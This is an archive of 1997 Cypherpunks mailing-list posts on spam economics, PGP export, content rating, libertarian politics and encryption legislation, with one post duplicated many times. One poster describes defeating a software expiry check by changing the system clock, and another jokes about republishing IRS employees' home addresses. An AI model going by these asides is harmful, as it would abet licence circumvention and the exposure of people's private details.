In-Reply-To: <199707311344.IAA17797@mailhub.amaranth.com>
Message-ID: <199707311743.SAA02470@server.test.net>
MIME-Version: 1.0
Content-Type: text/plain




William Geiger MLCVXII <whgiii@amaranth.com> writes:
> In <199707311120.MAA00669@server.test.net>, on 07/31/97 
> >  at 12:20 PM, Adam Back <aba@dcs.ex.ac.uk> said:
> >
> >One way to implement this is for other people to pay the author for their
> >articles a penny if they like the article.  That way people who write
> >things which others find interesting to read get subsidized posting.  Is
> >it still free speech if you have to pay for your posts if you're arguing
> >for an unpopular minority?
> 
> This will not work!!!
> 
> Charging for e-mail/news posts will do nothing to prevent spam and
> more than likely increase the noise on such lists. It is the spamers
> who have the money to post volumns of their crap.

For email spam I disagree.  I currently get 10 spams a day or so.  All
as a result of one unprotected post to a USENET group a few weeks
back.  Before that I hadn't posted to USENET for a while and the spams
had nearly died down.

If the spammer had to pay 1c for each spam, he'd be out of business
with his current scatter gun approach.  He'd have to get a lot more
selective, because it would be in his commercial interests to do so.

> Also I think you will find that it will be the fanatics who
> will think it worth the $$$ to get their message out.

Fine by me, so long as they're paying their way, the NoCems from a
reliable rating service will take care of them.

You have more of a point in newsgroups, or mailing lists as the
spammer only has to make one post.

Charging for posts in that scenario only makes sense to stop people
who spew multiple mega-bytes of robo-spam just to be annoying, and for
no commercial gain at all.

NoCems are the real answer to public forums.  Spammers will feel less
incentive to spam when it becomes clear most people have them filtered
out anyway.

> While I find the various mailling lists & newsgroups of intrest the
> majority of them are not thet intresting that I would be willing to pay
> $$$ every time I post a reply to someones questions (most of my posts
> outside of CP are answering questions on programming,crypto, & OS/2). I
> think that the overall quality of the newsgroups would decline if you
> started paying on a per-post basis.

Surely you aren't that prolific a writer that 1c a post would
be a burden on you?

I make what 20 posts a day at peak?  Often 1 or none some days.

> It should be noted that the Bandwith issue is a red-herring. It is an
> antiquated concept from the Fidonet days and does not apply. The bandwith
> of the USENET has been *PAID IN FULL* by every subscriber to an ISP. The
> ISP customers pay for their connections to their ISP who in turn pay for
> their connections to the Access providers who inturn pay for the Backbone.
> The PIPE has been paid for what goes over it not an issue. If all I want
> to do with my T1 connection is ship *.jpg files via ftp 24/7 that is no
> ones busines but my own. If I chooses to use my bandwith to transmit a
> variety of file formats using various protocols
> (HTTP,FTP,GOFFER,ARCHIE,...ect) who are you to say that some formats are
> good and some are not!! (this is not even getting into the content of the
> data being shiped).

That's interesting, and probably true, but still bandwidth is limited,
see.  It is entirely possible for some idiots to consume vastly more
than their share of the shared pipe.

Probably what you're saying is that you like a lot of other "power
users" myself included use more bandwidth than the average neophyte.
So you're in favor of flat charges because it represents a good deal
for you.

Get me on a T1 and I use it, man.  Hmm, I'll just upgrade to gcc 2.7.x
(10 megs later) and then I'll upgrade the OS (another 50 megs later),
and so the day gos on.  Bandwidth hog.

Sitting on the end of this pay per second 28.8k PPP line really cramps
my style :-) I've started buying linux CD sets, and upgrading OS less
frequently.  I'm still on X32a (for linux people) even though it's
expired and tried to disable it's self, I've hacked around the
disablement (set the clock back 2 months for a couple of seconds while
it's starting, and then forward again part way through seems to fix
it) because I don't fancy the cost of 10 megs at 28.8k, nor the
hassle.

Now I would be pretty happy to spend $500 - $1500 a year for a 64k
leased line, or at least for a flat rate phone bill.  But nooo you
can't get that in the UK.  You're looking at more like $10k once
you've factored in leased line + bandwidth leasing.

To compensate I bought a load of BT (phone co) shares, so that at
least in theory I get some of the money they are making.  But the
OFTEL setup (government regulatory body) is killing them with
regulations, which is reducing their profitability.  I'm hanging on to
the shares, as it's supposed to end soonish.

Adam
-- 
Have *you* exported RSA today? --> http://www.dcs.ex.ac.uk/~aba/rsa/

print pack"C*",split/\D+/,`echo "16iII*o\U@{$/=$z;[(pop,pop,unpack"H*",<>
)]}\EsMsKsN0[lN*1lK[d2%Sa2/d0<X+d*lMLa^*lN%0]dsXx++lMlN/dsM0<J]dsJxp"|dc`





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Paul Bradley <paul@fatmans.demon.co.uk>
Date: Sat, 2 Aug 1997 22:11:40 +0800
To: "Robert W. Brewer" <rbrewer@op.net>
Subject: Re: Spam is Information?
In-Reply-To: <m3pvrz92rd.fsf_-_@wiz.rob.net>
Message-ID: <Pine.LNX.3.91.970731182538.426E-100000@fatmans.demon.co.uk>
MIME-Version: 1.0
Content-Type: text/plain




> almost totally redundant.  Instead of posting 1 message,
> 1000 messages are posted.  The 2nd through 1000th message
> add no more information than the first.  This would not be a
> problem if the network had infinite bandwidth and storage
> capabilities.  

1. When a message is cross-posted using the "newsgroups:" line only one 
copy is sent to the news-spool and is seen in all the relevent newsgroups.

2. Bandwidth requirements are no justification for censorship, unless you 
own the equipment you are removing the messages from, even then it is 
reprehensible.

        Datacomms Technologies data security
       Paul Bradley, Paul@fatmans.demon.co.uk
  Paul@crypto.uk.eu.org, Paul@cryptography.uk.eu.org    
       Http://www.cryptography.home.ml.org/
      Email for PGP public key, ID: FC76DA85
     "Don`t forget to mount a scratch monkey"





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: PGP Beta Team <beta@pgp.com>
Date: Fri, 1 Aug 1997 11:03:46 +0800
To: Ray Arachelian <sunder@brainlink.com>
Subject: Re: PGP Linux 5.0b11 feedback?
In-Reply-To: <v04000813b005b398a39a@[205.180.136.26]>
Message-ID: <v04000d07b006fe5d93c0@[205.180.136.26]>
MIME-Version: 1.0
Content-Type: text/plain



At 11:01 AM -0400 7/31/97, Ray Arachelian wrote:
>A self-export option.  Click on a button to randomly and anonymously
>automatically ftp the full package with source to ftp sites outside the
>usa.  :)
>
>You should of course put in the nice warning screns about breaking the law
>and such, and then "Click here to be an international arms trafficker."
> [snippety-snip]


Ray,

Your enchanting suggestion has been duly noted (and I might add enjoyed by
the entire development team).

Perhaps we can consider implementing it in version "n-1".

   dave  ;)


__________________________________________________________________________
 Dave Del Torto      tel: +1.415.596.1781        Pretty Good Privacy, Inc
 Beta Test Mgr.      fax: +1.415.631.1033       555 Twin Dolphin Dr. #570
 <beta@pgp.com>      web: http://beta.pgp.com     Redwood Shores CA 94065
 PGP Key: http://keys.pgp.com:11371/pks/lookup?op=index&search=0x48824435






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Ross Wright" <rwright@adnetsol.com>
Date: Fri, 1 Aug 1997 12:01:46 +0800
To: "Attila T. Hun" <attila@hun.attila.org>
Subject: Re: Denning questions/reverses her position?
Message-ID: <199708010356.UAA14654@adnetsol.adnetsol.com>
MIME-Version: 1.0
Content-Type: text/plain



Is Attila doing this or is the list doing this.  I've received 25 of 
these.   ??????????????????????????????????????????


On or About 31 Jul 97 at 23:34, Attila T. Hun wrote:

> -----BEGIN PGP SIGNED MESSAGE-----
> 
>     I'm too old for this!  I never thought I would see the day that

=-=-=-=-=-=-
Ross Wright
King Media: Bulk Sales of Software Media and Duplication Services
http://www.slip.net/~cdr/kingmedia
Voice: (408) 259-2795





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Adam Back <aba@dcs.ex.ac.uk>
Date: Fri, 1 Aug 1997 05:06:13 +0800
To: kent@songbird.com
Subject: Re: Third party rating services NOT self-rating (was Re: Yet another self-labeling system (do you remember -L18?))
In-Reply-To: <19970731092109.15947@bywater.songbird.com>
Message-ID: <199707312011.VAA03057@server.test.net>
MIME-Version: 1.0
Content-Type: text/plain




Kent Crispin <kent@songbird.com> writes:
> On Thu, Jul 31, 1997 at 01:45:15AM +0100, Adam Back wrote:
> [...]
> > Even if government were to insist that everyone self rated, it would
> > be damn near meaningless.
> 
> I think you are seriously underestimating the usefullness of 
> self-rating.  Yes, indeed, there are people who will spoof them, or 
> who may have a completely weird view of the world that allows them an 
> odd interpretation of what the ratings mean, so you won't get 100% 
> coverage.  

problem #1: I think the coverage rate will be abysmal.  People are
lazy.  Are you really going to go modify all your html files?  I've
got 8 megs of material on my personal web site
(http://www.dcs.ex.ac.uk/~aba/), and I can barely generate the energy
to apply dead link mods which people email me.

problem #2: If government "asks" you to self-rate your pages, that
will in a lot of net people generate ire, they'll monkeywrench their
rating in some creative way.

problem #3: Kids can hack around the system anyway, so it doesn't
matter whether it's rated or not.  Especially where "hacking" around
the system consists of just downloading a free browser from
netscape.com, or installing one off a magazine cover CD.  Are the
government going to legally require netscape to release browsers which
are content crippled and require an is-an-adult cert to disable it?
So just use an older browser.  I'm sure kids will be trading adult
certs like football cards at school.  Internet drivers license is
another likely dumb move to try to enforce it.

Given the likely dubious reliability of the ratings, and near semantic
meaningless because of differening values, political and moral beliefs
in various communities in different parts of the world it looks like a
non-starter to me.

Further presuming the government goes for it anyway, I can't see them
managing to persuade many people to use it.

As you note some porn sites will probably rate themselves, but they
will only be doing it to generate more hits (search engines looking
specifically for such pages).  As Dimitri noted under 21s are probably
generating most of the porn hits anyway. (It is 21 in parts of the US
right?  Surely they're not serious that you can have been legally
married 5 years before you're allowed to view soft porn?  It'll be 16
or 18 in UK)

> > General rhetorical question: indeed why have governments at all?
> 
> General rhetorical answer:  Because people are the way they are.

I'll take this comment to a new message.

Adam
-- 
Have *you* exported RSA today? --> http://www.dcs.ex.ac.uk/~aba/rsa/

print pack"C*",split/\D+/,`echo "16iII*o\U@{$/=$z;[(pop,pop,unpack"H*",<>
)]}\EsMsKsN0[lN*1lK[d2%Sa2/d0<X+d*lMLa^*lN%0]dsXx++lMlN/dsM0<J]dsJxp"|dc`





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Lucky Green <shamrock@netcom.com>
Date: Fri, 1 Aug 1997 03:46:39 +0800
To: Mike Duvos <cypherpunks@cyberpass.net
Subject: Re: I did get the infamous IRS letter after all
In-Reply-To: <Pine.GSO.3.95.970731085532.17782D-100000@eff.org>
Message-ID: <3.0.2.32.19970731212403.006e6258@netcom10.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain



At 10:34 AM 7/31/97 -0700, Mike Duvos wrote:
>
>> In previous court hearings, IRS
>> Inspectors testified that BELL had obtained the names and home addresses of
>> 70 IRS employees as part of  "Operation LocatIRS." 
>
>Hmmm.  Would http://irs.agents.eternity/ be an appropriate permanent
>respository for this valuable document?  :)

Undoubtedly.  :-)


--Lucky Green <shamrock@netcom.com>
  PGP encrypted mail preferred.
  DES is dead! Please join in breaking RC5-56.
  http://rc5.distributed.net/





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Adam Back <aba@dcs.ex.ac.uk>
Date: Fri, 1 Aug 1997 05:09:45 +0800
To: cypherpunks@cyberpass.net
Subject: free market services vs monopoly government
Message-ID: <199707312059.VAA03086@server.test.net>
MIME-Version: 1.0
Content-Type: text/plain




I wrote at the bottom of another post:
> General rhetorical question: indeed why have governments at all?

and Kent Crispin parried:
: General rhetorical answer:  Because people are the way they are.

Kent you seem to harbor the belief that government monopoly is a good
thing, or at least that government is somehow an unavoidable necessary
evil.  I doubt I'll convince you otherwise, but in case there are
other people reading who still think governments the best way of doing
anything, I'll try to explain why I think government monopoly is a bad
thing.

Are you opposed to free markets?

Government holds a number of monopolies.  These monopolies are not
efficient.  They result in resource wastage on a mind boggling scale.
The USG has pretty much bankrupt your country, the US national debt
being I understand at a level where US citizens collectively do not
have the resources to pay it off.  If a privately or publicly held
company got to that stage the receivers would be sent in. 

The success that a country does enjoy is pretty much proportional to
the degree of market freedom.  Luckily for us our governments have
left a bit of freedom in markets, or we would have food shortages, and
rationing.

In economies with extremely low amounts of market freedom, the readily
observable inefficiency demonstrates my point.  (eg Former Soviet
Union communist economy).

Governments tend to grow, and soak up larger tax percentages, and
encroach into more aspects of life which were previously a question of
free choice, or were previously purely market driven.  The reason for
this growth is due to the government as an entity unconciously
promoting itself as an organism.  A great huge cancerous growth which
has us by the jugular.

The reason governments as businesses can get away with their abysmal
performance is because they have a near complete monopoly.

A good start would be a choice in government, to generate some
competition.  So you can buy membership in a protection racket, hire
the services of a private security firm, or buy insurance from an
insurance group because of its benefits package, or go elsewhere if
the offering sucks.  You choose on an individual basis what package
best suits you, and you choose the service providers who you consider
as the best value for money.

eg. I can go buy into Uncle Enzo's pizza delivery and protection
racket because the protection is 5000% better value for money than the
Feds deal.

I can pick and choose the services I want to produce a mix which
satisfies me.  Double efficiency, people don't have services provided
for them which they actively don't want, and I can buy services which
the government attempts to prevent the market from providing, so my
requirements are better met.

As well as the increased efficiency obtained in provision of services
which governments are currently holding monopolies on, the reduced
taxation and regularatory burdens put on the economy would cause a
boom.

And your argument is?

That people want government?  Fine, let those sheeple that do want
something even more oppresive and intrusive than the current
government buy into whatever form of oppresive cult they want.
Perhaps a sheltered perimeter gaurded enclave where all media is
censored, there is capital punishment for spitting on the side walk,
evil thoughts results in public flogging, etc, and where the taxation
rate is 90% would suit them to a T.

Great!  We need some evolutionary pressures anyway.

So which mix would you choose Kent?

Or are you arguing that there are lots of stupid people, and that you
are happy to let their ill-informed choices, and their willingness to
go with the bankrupt corrupt status quo fuck your life up?  Why should
there be blanket decisions made and forced upon you as an individual.
Free choice makes for much more efficiency in terms of economics, and
in terms of individuals happiness.


Here's a reading list for those interested in disbanding government
and replacing it with services purchased on the free market:

"Snow Crash", Neal Stephenson
	Snow Crash is a sci-fi novel giving a depiction depictions of
	life with choice in services, private law enforcement services
	competing with Uncle Enzo's pizza mafia.

"The Moon is a Harsh Mistress", Heinlein
	The Moon is a Harsh Mistress is a sci-fi novel giving a
	depiction of a wild-west like legal system.  There are no
	laws, excepting individual responsibility.

"Machinery of Freedom" 2nd Ed, David Friedman
	Machinery of Freedom talks about free market methods to provide
	services that have traditionally been provided by government.

"The Wealth of Nations", Adam Smith

	The Wealth of Nations is an interesting book despite being
	published in 1776.  Didn't have his judgement clouded by this
	namby-pamby socialist/communist junk.  Pure capitalism,
	examining why the free market is efficient.

"The Road to Serfdom", Hayek

	Road to Serfdom explains in Hayeks view that socialism is a
	slippery slope leading to economic decline and communism.  In
	context of Nazism after second world war.  He makes the case
	that Socialism the root of much evil.


Adam
-- 
Have *you* exported RSA today? --> http://www.dcs.ex.ac.uk/~aba/rsa/

print pack"C*",split/\D+/,`echo "16iII*o\U@{$/=$z;[(pop,pop,unpack"H*",<>
)]}\EsMsKsN0[lN*1lK[d2%Sa2/d0<X+d*lMLa^*lN%0]dsXx++lMlN/dsM0<J]dsJxp"|dc`





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jim Choate <ravage@ssz.com>
Date: Fri, 1 Aug 1997 11:22:48 +0800
To: cypherpunks@ssz.com
Subject: http:--www.cnn.com-US-9707-31-breast.milk-
Message-ID: <199708010310.WAA24360@einstein.ssz.com>
MIME-Version: 1.0
Content-Type: text/plain



   CNN logo 
   Navigation 
   
   Infoseek/Big Yellow 
   
   
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   Main banner $9.95 Unlimited Internet. Click Here. 
   
     rule
     
             POLICE: DRUG-ADDICT MOM KILLED BABY WITH BREAST MILK
                                       
      Powell July 31, 1997
     Web posted at: 10:55 p.m. EDT (0255 GMT)
     
     TUCSON, Arizona (AP) -- Police have charged a woman with murder,
     claiming her breast milk was so full of heroin and methadone that it
     killed her 7-week-old daughter.
     
     The father was also charged with murder for not intervening,
     authorities said.
     
     "It's true with any form of child abuse that it's preventable, but
     this one seems to be more preventable. It seems to be more of a
     conscious choice," Tucson Police Detective Sgt. Brett Klein said
     Thursday.
     
     Doctors put Eve Powell into the intensive care unit after she was
     born on May 16 because she was dependent on methadone, the
     opium-based drug used to help wean heroin addicts.
     
     Before sending Eve home from the hospital a month later, medical
     workers warned the baby's 24-year-old mother, Amoret Powell, that
     resuming her heroin habit while breast-feeding could kill the baby,
     police said.
     
     But on July 10, tiny Eve was rushed to another hospital,suffering
     from severe oxygen deprivation. She died the next day.
     
     On Wednesday, authorities charged Amoret Powell with first-degree
     murder, alleging that she killed her daughter by giving her
     drug-filled breast milk.
     
     Police found used syringes and other drug paraphernalia in her home,
     and she admitted using heroin after Eve's birth, Klein said.
     
     Test results from Eve's body are pending, but doctors say the
     heroin-methadone combination can cause the oxygen deprivation that
     killed the baby.
     
     Eve's father, Robin Johnson, 33, also was charged with murder
     because the death resulted from child abuse and he did nothing to
     stop it, Klein said. Each is being held on $1 million bond.
     
     Powell is not the first mother to face a murder charge fornursing a
     child while using drugs. A jury in Bakersfield, California,
     deadlocked on a murder charge but convicted a woman of child
     endangerment after she nursed while using methamphetamine. Another
     woman in Los Angeles pleaded guilty to child endangerment for also
     nursing while using methamphetamine.
     
     The Associated Press contributed to this report.  Search for related
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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Lynne L. Harrison" <lharrison@mhv.net>
Date: Fri, 1 Aug 1997 11:00:16 +0800
To: cypherpunks@toad.com
Subject: Re: House Report on SAFE
In-Reply-To: <3.0.2.32.19970731222819.0072614c@pop.mhv.net>
Message-ID: <3.0.2.32.19970731223650.006bdca8@pop.mhv.net>
MIME-Version: 1.0
Content-Type: text/plain



At 10:28 PM 7/31/97 -0400, Declan McCullagh wrote:
>
>Note the following ominous excerpt from one of the letters:
>
>
>"We are in unanimous agreement that congress must adopt
>encryption legislation that requires the development,
>manufacture, distribution and sale of only key recovery
>products."
>
>Darrell L. Sanders, President, International Association of
>Chiefs of Police.
>
>James E. Doyle, President, National Association of
>Attorneys General.
>
>Fred Scoralic, President, National Sheriffs' Association.


Scoralick is the Dutchess County Sheriff (I've always spelled his name
ending with a "k" when I've served writs on him).  Anyway, I would be ever
so happy to write a letter to him denouncing his position and would also be
ever so happy to express the viewpoint of any others. Just let me know....


***********************************************************
Lynne L. Harrison, Esq.       |    "The key to life:
Poughkeepsie, New York        |     - Get up;
lharrison@mhv.net             |     - Survive;
http://www.dueprocess.com     |     - Go to bed."
***********************************************************

DISCLAIMER:  I am not your attorney; you are not my client.
             Accordingly, the above is *NOT* legal advice.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Apache <apache@bear.apana.org.au>
Date: Thu, 31 Jul 1997 21:17:54 +0800
To: John Young <jya@pipeline.com>
Subject: Re: House Report on SAFE
In-Reply-To: <1.5.4.32.19970731112509.006d2d0c@pop.pipeline.com>
Message-ID: <199707311300.XAA06641@bear.apana.org.au>
MIME-Version: 1.0
Content-Type: text/plain



   John Young said:


>Note: that's JYX.COM, (same as 108240.primehost.com) 
>our temp site to fill in for remanded JYA which  is to be unJimmed 
>soon, isn't it, your honor, what stink you screeching about, that's
>just rotting pork.

I must have missed a post on this. Have you been ordered to remove 
material by Jim Bell? Has equipment been seized?

(Feel free to cc: cypherpunks if it's relevant) 

Any background on this would be appreciated, or any pointers to texts you 
may have online already explaining it are equally welcomed.

Rgds.

-- 
   .////.   .//    Charles Senescall             apache@bear.apana.org.au
 o:::::::::///                                   apache@quux.apana.org.au
>::::::::::\\\     Finger me for PGP PUBKEY            Brisbane AUSTRALIA
   '\\\\\'   \\    Apache






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Attila T. Hun" <attila@hun.attila.org>
Date: Fri, 1 Aug 1997 07:47:47 +0800
To: cypherpunks <cypherpunks@cyberpass.net>
Subject: Denning questions/reverses her position?
Message-ID: <199707312340.RAA04631@infowest.com>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

    I'm too old for this!  I never thought I would see the day that
    Dorothy Denning would terminate her star role as a shill for the
    Clinton/LEA encryption ban!

    from: http://www.news.com/News/Item/0%2C4%2C13000%2C00.html?nd

           Two supporters of Clinton
           administration's stance on
           encryption released a report today
           finding that encryption has not
           inhibited law enforcement efforts,
           with at least one author
           questioning her belief in the
           administration's position. 

           The authors--Dorothy Denning, a
           Georgetown University computer
           science professor, and William
           Baugh Jr., vice president of
           Science Application International
           Corporation--

 ______________________________________________________________________
 "attila" 1024/C20B6905/23 D0 FA 7F 6A 8F 60 66 BC AF AE 56 98 C0 D7 B0 

-----BEGIN PGP SIGNATURE-----
Version: 2.6.3i
Charset: latin1
Comment: No safety this side of the grave. Never was; never will be

iQCVAwUBM+Eh5L04kQrCC2kFAQF9wwP+INGEAnc+1akKc+dP7re8fleX4PJrmsYU
UKzxgBZAsWcZC7L5WkaOygckHznOc+a37iHzDFtt3sr86DP0D/4j675qJdt/O4B+
jbxXumJ8EXmTN9bOvXK8x9JRGjR9aWzjeaJKN3X+fH4Bjbw76FR9xIFkhhNvZqnM
ahBzZyL2cZ4=
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-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Attila T. Hun" <attila@hun.attila.org>
Date: Fri, 1 Aug 1997 07:52:53 +0800
To: cypherpunks <cypherpunks@cyberpass.net>
Subject: Denning questions/reverses her position?
Message-ID: <199707312345.RAA04905@infowest.com>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

    I'm too old for this!  I never thought I would see the day that
    Dorothy Denning would terminate her star role as a shill for the
    Clinton/LEA encryption ban!

    from: http://www.news.com/News/Item/0%2C4%2C13000%2C00.html?nd

           Two supporters of Clinton
           administration's stance on
           encryption released a report today
           finding that encryption has not
           inhibited law enforcement efforts,
           with at least one author
           questioning her belief in the
           administration's position. 

           The authors--Dorothy Denning, a
           Georgetown University computer
           science professor, and William
           Baugh Jr., vice president of
           Science Application International
           Corporation--

 ______________________________________________________________________
 "attila" 1024/C20B6905/23 D0 FA 7F 6A 8F 60 66 BC AF AE 56 98 C0 D7 B0 

-----BEGIN PGP SIGNATURE-----
Version: 2.6.3i
Charset: latin1
Comment: No safety this side of the grave. Never was; never will be

iQCVAwUBM+Eh5L04kQrCC2kFAQF9wwP+INGEAnc+1akKc+dP7re8fleX4PJrmsYU
UKzxgBZAsWcZC7L5WkaOygckHznOc+a37iHzDFtt3sr86DP0D/4j675qJdt/O4B+
jbxXumJ8EXmTN9bOvXK8x9JRGjR9aWzjeaJKN3X+fH4Bjbw76FR9xIFkhhNvZqnM
ahBzZyL2cZ4=
=MlQZ
-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Attila T. Hun" <attila@hun.attila.org>
Date: Fri, 1 Aug 1997 07:55:35 +0800
To: cypherpunks <cypherpunks@cyberpass.net>
Subject: Denning questions/reverses her position?
Message-ID: <199707312350.RAA05092@infowest.com>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

    I'm too old for this!  I never thought I would see the day that
    Dorothy Denning would terminate her star role as a shill for the
    Clinton/LEA encryption ban!

    from: http://www.news.com/News/Item/0%2C4%2C13000%2C00.html?nd

           Two supporters of Clinton
           administration's stance on
           encryption released a report today
           finding that encryption has not
           inhibited law enforcement efforts,
           with at least one author
           questioning her belief in the
           administration's position. 

           The authors--Dorothy Denning, a
           Georgetown University computer
           science professor, and William
           Baugh Jr., vice president of
           Science Application International
           Corporation--

 ______________________________________________________________________
 "attila" 1024/C20B6905/23 D0 FA 7F 6A 8F 60 66 BC AF AE 56 98 C0 D7 B0 

-----BEGIN PGP SIGNATURE-----
Version: 2.6.3i
Charset: latin1
Comment: No safety this side of the grave. Never was; never will be

iQCVAwUBM+Eh5L04kQrCC2kFAQF9wwP+INGEAnc+1akKc+dP7re8fleX4PJrmsYU
UKzxgBZAsWcZC7L5WkaOygckHznOc+a37iHzDFtt3sr86DP0D/4j675qJdt/O4B+
jbxXumJ8EXmTN9bOvXK8x9JRGjR9aWzjeaJKN3X+fH4Bjbw76FR9xIFkhhNvZqnM
ahBzZyL2cZ4=
=MlQZ
-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Attila T. Hun" <attila@hun.attila.org>
Date: Fri, 1 Aug 1997 08:04:10 +0800
To: cypherpunks <cypherpunks@cyberpass.net>
Subject: Denning questions/reverses her position?
Message-ID: <199707312355.RAA05294@infowest.com>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

    I'm too old for this!  I never thought I would see the day that
    Dorothy Denning would terminate her star role as a shill for the
    Clinton/LEA encryption ban!

    from: http://www.news.com/News/Item/0%2C4%2C13000%2C00.html?nd

           Two supporters of Clinton
           administration's stance on
           encryption released a report today
           finding that encryption has not
           inhibited law enforcement efforts,
           with at least one author
           questioning her belief in the
           administration's position. 

           The authors--Dorothy Denning, a
           Georgetown University computer
           science professor, and William
           Baugh Jr., vice president of
           Science Application International
           Corporation--

 ______________________________________________________________________
 "attila" 1024/C20B6905/23 D0 FA 7F 6A 8F 60 66 BC AF AE 56 98 C0 D7 B0 

-----BEGIN PGP SIGNATURE-----
Version: 2.6.3i
Charset: latin1
Comment: No safety this side of the grave. Never was; never will be

iQCVAwUBM+Eh5L04kQrCC2kFAQF9wwP+INGEAnc+1akKc+dP7re8fleX4PJrmsYU
UKzxgBZAsWcZC7L5WkaOygckHznOc+a37iHzDFtt3sr86DP0D/4j675qJdt/O4B+
jbxXumJ8EXmTN9bOvXK8x9JRGjR9aWzjeaJKN3X+fH4Bjbw76FR9xIFkhhNvZqnM
ahBzZyL2cZ4=
=MlQZ
-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Attila T. Hun" <attila@hun.attila.org>
Date: Fri, 1 Aug 1997 08:07:05 +0800
To: cypherpunks <cypherpunks@cyberpass.net>
Subject: Denning questions/reverses her position?
Message-ID: <199708010000.SAA05487@infowest.com>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

    I'm too old for this!  I never thought I would see the day that
    Dorothy Denning would terminate her star role as a shill for the
    Clinton/LEA encryption ban!

    from: http://www.news.com/News/Item/0%2C4%2C13000%2C00.html?nd

           Two supporters of Clinton
           administration's stance on
           encryption released a report today
           finding that encryption has not
           inhibited law enforcement efforts,
           with at least one author
           questioning her belief in the
           administration's position. 

           The authors--Dorothy Denning, a
           Georgetown University computer
           science professor, and William
           Baugh Jr., vice president of
           Science Application International
           Corporation--

 ______________________________________________________________________
 "attila" 1024/C20B6905/23 D0 FA 7F 6A 8F 60 66 BC AF AE 56 98 C0 D7 B0 

-----BEGIN PGP SIGNATURE-----
Version: 2.6.3i
Charset: latin1
Comment: No safety this side of the grave. Never was; never will be

iQCVAwUBM+Eh5L04kQrCC2kFAQF9wwP+INGEAnc+1akKc+dP7re8fleX4PJrmsYU
UKzxgBZAsWcZC7L5WkaOygckHznOc+a37iHzDFtt3sr86DP0D/4j675qJdt/O4B+
jbxXumJ8EXmTN9bOvXK8x9JRGjR9aWzjeaJKN3X+fH4Bjbw76FR9xIFkhhNvZqnM
ahBzZyL2cZ4=
=MlQZ
-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Attila T. Hun" <attila@hun.attila.org>
Date: Fri, 1 Aug 1997 08:16:01 +0800
To: cypherpunks <cypherpunks@cyberpass.net>
Subject: Denning questions/reverses her position?
Message-ID: <199708010011.SAA05984@infowest.com>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

    I'm too old for this!  I never thought I would see the day that
    Dorothy Denning would terminate her star role as a shill for the
    Clinton/LEA encryption ban!

    from: http://www.news.com/News/Item/0%2C4%2C13000%2C00.html?nd

           Two supporters of Clinton
           administration's stance on
           encryption released a report today
           finding that encryption has not
           inhibited law enforcement efforts,
           with at least one author
           questioning her belief in the
           administration's position. 

           The authors--Dorothy Denning, a
           Georgetown University computer
           science professor, and William
           Baugh Jr., vice president of
           Science Application International
           Corporation--

 ______________________________________________________________________
 "attila" 1024/C20B6905/23 D0 FA 7F 6A 8F 60 66 BC AF AE 56 98 C0 D7 B0 

-----BEGIN PGP SIGNATURE-----
Version: 2.6.3i
Charset: latin1
Comment: No safety this side of the grave. Never was; never will be

iQCVAwUBM+Eh5L04kQrCC2kFAQF9wwP+INGEAnc+1akKc+dP7re8fleX4PJrmsYU
UKzxgBZAsWcZC7L5WkaOygckHznOc+a37iHzDFtt3sr86DP0D/4j675qJdt/O4B+
jbxXumJ8EXmTN9bOvXK8x9JRGjR9aWzjeaJKN3X+fH4Bjbw76FR9xIFkhhNvZqnM
ahBzZyL2cZ4=
=MlQZ
-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Attila T. Hun" <attila@hun.attila.org>
Date: Fri, 1 Aug 1997 08:18:06 +0800
To: cypherpunks <cypherpunks@cyberpass.net>
Subject: Denning questions/reverses her position?
Message-ID: <199708010006.SAA05741@infowest.com>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

    I'm too old for this!  I never thought I would see the day that
    Dorothy Denning would terminate her star role as a shill for the
    Clinton/LEA encryption ban!

    from: http://www.news.com/News/Item/0%2C4%2C13000%2C00.html?nd

           Two supporters of Clinton
           administration's stance on
           encryption released a report today
           finding that encryption has not
           inhibited law enforcement efforts,
           with at least one author
           questioning her belief in the
           administration's position. 

           The authors--Dorothy Denning, a
           Georgetown University computer
           science professor, and William
           Baugh Jr., vice president of
           Science Application International
           Corporation--

 ______________________________________________________________________
 "attila" 1024/C20B6905/23 D0 FA 7F 6A 8F 60 66 BC AF AE 56 98 C0 D7 B0 

-----BEGIN PGP SIGNATURE-----
Version: 2.6.3i
Charset: latin1
Comment: No safety this side of the grave. Never was; never will be

iQCVAwUBM+Eh5L04kQrCC2kFAQF9wwP+INGEAnc+1akKc+dP7re8fleX4PJrmsYU
UKzxgBZAsWcZC7L5WkaOygckHznOc+a37iHzDFtt3sr86DP0D/4j675qJdt/O4B+
jbxXumJ8EXmTN9bOvXK8x9JRGjR9aWzjeaJKN3X+fH4Bjbw76FR9xIFkhhNvZqnM
